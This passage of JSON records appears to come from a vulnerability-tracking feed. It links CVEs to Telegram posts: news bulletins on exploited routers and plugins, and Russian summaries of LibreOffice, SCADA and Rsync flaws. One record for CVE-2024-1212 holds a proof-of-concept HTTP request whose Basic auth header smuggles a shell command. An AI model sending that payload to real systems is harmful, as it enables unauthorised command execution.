CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:42.000000Z"}, {"uuid": "e679b471-c552-43c0-a62d-a0b9e13b1848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/26954", "content": "\u26a1\ufe0f15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856).\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T04:56:53.000000Z"}, {"uuid": "cb3982a9-104b-428d-ac0d-f248cd825256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/26963", "content": "\u26a1\ufe0fFour-Faith Industrial Routers Under Attack: CVE-2024-12856 Exploited in the Wild.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:08:06.000000Z"}, {"uuid": "4119efcb-700f-41e0-86a7-b57e0a8d01f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/CyberBulletin/26733", "content": "\u26a1\ufe0fCVE-2024-12209 (CVSS 9.8): WP Umbrella Plugin Vulnerability Exposes 30,000 Websites to Compromise.\n\n#CyberBulletin", "creation_timestamp": "2024-12-08T11:24:46.000000Z"}, {"uuid": "92899e22-01ae-49cc-b608-e562e1649d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://t.me/CyberBulletin/26995", "content": "\u26a1\ufe0fCVE-2024-12108 (CVSS 9.6) and Beyond: Progress Issues Critical Patch for WhatsUp Gold Network Monitoring Software.\n\n#CyberBulletin", "creation_timestamp": "2025-01-02T12:15:09.000000Z"}, {"uuid": "03d66a27-4dbd-4a5d-b464-d30709e41dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2408", "content": "cve-2024-1212\n\nGET /access/set?param=enableapi&value=1 HTTP/1.1\nHost: your-ip\nAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=\n\n#poc #exploit", "creation_timestamp": "2024-05-01T12:15:39.000000Z"}, {"uuid": "c2797b84-4f00-4626-844b-bac28ba5b00a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.290290Z"}, {"uuid": "06562eb2-35cb-4b27-b179-47f66ffcb16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e 